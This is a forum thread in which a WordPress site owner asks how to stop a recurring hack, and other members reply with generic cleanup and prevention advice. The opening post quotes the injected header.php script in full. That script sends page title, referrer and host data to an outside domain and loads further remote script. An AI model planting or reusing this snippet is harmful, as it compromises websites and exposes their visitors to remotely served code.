1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Help me to prevent website

Discussion in 'Black Hat SEO' started by seotechlab, Nov 16, 2015.

  1. seotechlab

    seotechlab Regular Member

    Joined:
    Mar 18, 2014
    Messages:
    330
    Likes Received:
    38
    Location:
    Internet
    i have multiple sites of word press in shared hosting. someone hacked my websites. hacker submit a script again and again in header.php that is

    "<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://thanhnienqnam.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script> "

    how can i prevent my websites permanently by theses scripts please give me best solution
     
  2. darkinferno

    darkinferno Jr. VIP Jr. VIP

    Joined:
    Mar 28, 2014
    Messages:
    128
    Likes Received:
    36
    Location:
    Deep Throat
    I never been hacked, but i have seen this situation

    You can contact your hosting provider about this hacker issue, you can ask them to block the hacker IP address (temporary solution)

    Else, you'll need to optimized your wordpress (update your WP version and plugins to the latest, security & firewall plugin, etc.)

    Goodluck
     
    • Thanks Thanks x 1
  3. seotechlab

    seotechlab Regular Member

    Joined:
    Mar 18, 2014
    Messages:
    330
    Likes Received:
    38
    Location:
    Internet
    all plugins and word press are up to date
     
  4. Pergonde

    Pergonde Junior Member

    Joined:
    Jan 7, 2015
    Messages:
    126
    Likes Received:
    29
    Occupation:
    IT Spec
    Location:
    EU
    Then check your security plugin + its configuration.
     
  5. Naujauskas

    Naujauskas Newbie

    Joined:
    Apr 26, 2015
    Messages:
    12
    Likes Received:
    4
    Maybe there is a plugin that installs malicious code to your header from time to time. I once downloaded a WP theme from thepiratebay and after couple days it said that site was hacked. Basically there was a modified plugin file with malicious code.
     
  6. bartosimpsonio

    bartosimpsonio Jr. VIP Jr. VIP Premium Member

    Joined:
    Mar 21, 2013
    Messages:
    12,036
    Likes Received:
    10,823
    Occupation:
    WHEREZ MA
    Location:
    BITCOINS AT?
    Home Page:
    This site is probably gone, unfortunately. Once hacked they put backdoors everywhere and the cleanup is nearly impossible. You need to recover a clean backup from before the hacking. Wipe out the current site entirely, recover the backup. If you don't have backup you're probably going to rebuild everything.
     
  7. K.H.R

    K.H.R Jr. VIP Jr. VIP

    Joined:
    Dec 9, 2013
    Messages:
    3,154
    Likes Received:
    1,006
    Gender:
    Male
    Location:
    BHW
    Fix it then get Sitelock security. Its really good, I am using this. My site was also under attack, now its safe.